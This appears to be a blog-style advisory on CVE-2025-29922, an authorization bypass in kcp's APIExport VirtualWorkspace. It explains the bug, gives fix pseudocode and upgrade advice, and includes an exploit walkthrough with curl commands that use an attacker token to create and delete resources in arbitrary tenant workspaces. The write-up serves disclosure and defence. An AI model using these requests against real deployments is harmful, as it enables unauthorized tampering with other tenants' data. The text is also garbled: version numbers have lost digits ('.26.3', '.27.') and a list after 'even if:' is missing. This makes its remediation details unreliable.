A recently disclosed vulnerability, identified as CVE-2025-29922, affects kcp, a multi-cluster control plane that acts like Kubernetes, but supports workloads well beyond standard Kubernetes clusters. This security issue impacts kcp versions prior to .26.3 and allows unauthorized users to create or delete resources across arbitrary target workspaces when using the APIExport VirtualWorkspace—even if explicit permissions or bindings aren't present.

In this write-up, we break down what the vulnerability is, why it’s critical, how it can be exploited, and what you should do to protect your workloads. We'll also look at code snippets and references to help you understand the impact.

What is kcp, and What's the Problem?

kcp is designed to enable multi-tenancy and API extensibility that’s more flexible than Kubernetes itself. It uses concepts like APIExports and APIBindings to delegate and control access to APIs across different workspaces. In normal operation:

- A workspace owner decides when to make a particular API available by linking an imported API (via an APIExport) to the workspace (with an APIBinding).
- APIProvider can then serve those APIs to the workspace, but only once the owner accepts any required permission claims.

The Bug: Before version .26.3, a logical error in the APIExport VirtualWorkspace bypassed these security gates. This allowed anyone with basic access to the VirtualWorkspace to create or delete objects in any target workspace, even if:

Technical Details and Exploit Scenario

The problem originates from improper checks inside kcp's handling of the APIExport VirtualWorkspace endpoints. The VirtualWorkspace is supposed to check whether APIBinding exists and claims were accepted, but the checks were either missing or defective.

Exploit Walkthrough

Let’s illustrate the problem with simplified code and example kubectl commands.

Example: Creating an Object Without a Valid APIBinding

Before the fix, the following would succeed even if the workspace owner never granted access to the API provider:

# Assume attacker knows the virtual workspace endpoint for the APIExport
export VIRTUAL_WORKSPACE_URL="https://kcp.example.com/virtual/export/apiexport-virtual-workspace";
export TARGET_WS="arbitrary-user-workspace"
export RESOURCE="foos"
export RESOURCE_API_VERSION="example.io/v1"

# Try to create a new object in a workspace
curl -k -X POST \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  -H "Content-Type: application/json" \
  "$VIRTUAL_WORKSPACE_URL/$RESOURCE_API_VERSION/namespaces/$TARGET_WS/$RESOURCE" \
  -d '{"apiVersion": "example.io/v1", "kind": "Foo", "metadata": {"name": "hack-me"}}'

Despite lacking any authorized binding, this call would create the Foo object in the user's workspace.

Similarly, the attacker could delete resources by simply issuing

curl -k -X DELETE \
  -H "Authorization: Bearer $ATTACKER_TOKEN" \
  "$VIRTUAL_WORKSPACE_URL/$RESOURCE_API_VERSION/namespaces/$TARGET_WS/$RESOURCE/hack-me"

Why is This Dangerous?

- Total Bypass of Tenant Controls: API exports are supposed to be opt-in; with this bug, they're forced upon tenants.
- Potential for Lateral Movement: A user with access to one part of the system could write or delete resources in any other configured workspace.
- No Audit Trail: Owners have no way of knowing someone else is creating/deleting resources inside their namespace.

The Fix

The kcp team fixed the vulnerability in releases .26.3 and .27.. The new code now properly checks for the existence of an APIBinding that authorizes resource access and that all permission claims have been accepted by the workspace owner.

Example patch logic (simplified pseudocode)

// Before the fix (problematic check):
if userCanAccess(VirtualWorkspaceURL) {
  // no check for APIBinding or claim acceptance
  performRequest()
}

// After the fix:
if hasValidAPIBinding(workspace, apiExport) && claimsAccepted(binding) {
  performRequest()
} else {
  abort("unauthorized")
}

What You Should Do

1. Upgrade Immediately.
kcp users must upgrade to at least version .26.3 (for the .26 series) or .27.+.
Release notes and downloads

2. Audit Your Clusters:
Check for any unauthorized objects created in your workspaces, especially if your clusters were exposed to multi-tenant users or automated systems.

3. Rotate Credentials (Optional):
If you suspect abuse, change any credentials for API/workspace access.

References

- CVE-2025-29922 - NVD Details
- kcp GitHub Repository
- kcp Security Advisories
- kcp Release Notes - v.26.3
- kcp Release Notes - v.27.

Summary

CVE-2025-29922 in kcp is a critical security issue that allows unauthorized creation and deletion of resources across arbitrary workspaces via the VirtualWorkspace API. Exploiting this required only basic access—no actual authorization via APIBinding. The only mitigation is to upgrade kcp to at least v.26.3 or v.27..

Stay Vigilant. Keep your control planes secure. Always update promptly after any security advisory is released.

Timeline

Published on: 03/20/2025 18:15:19 UTC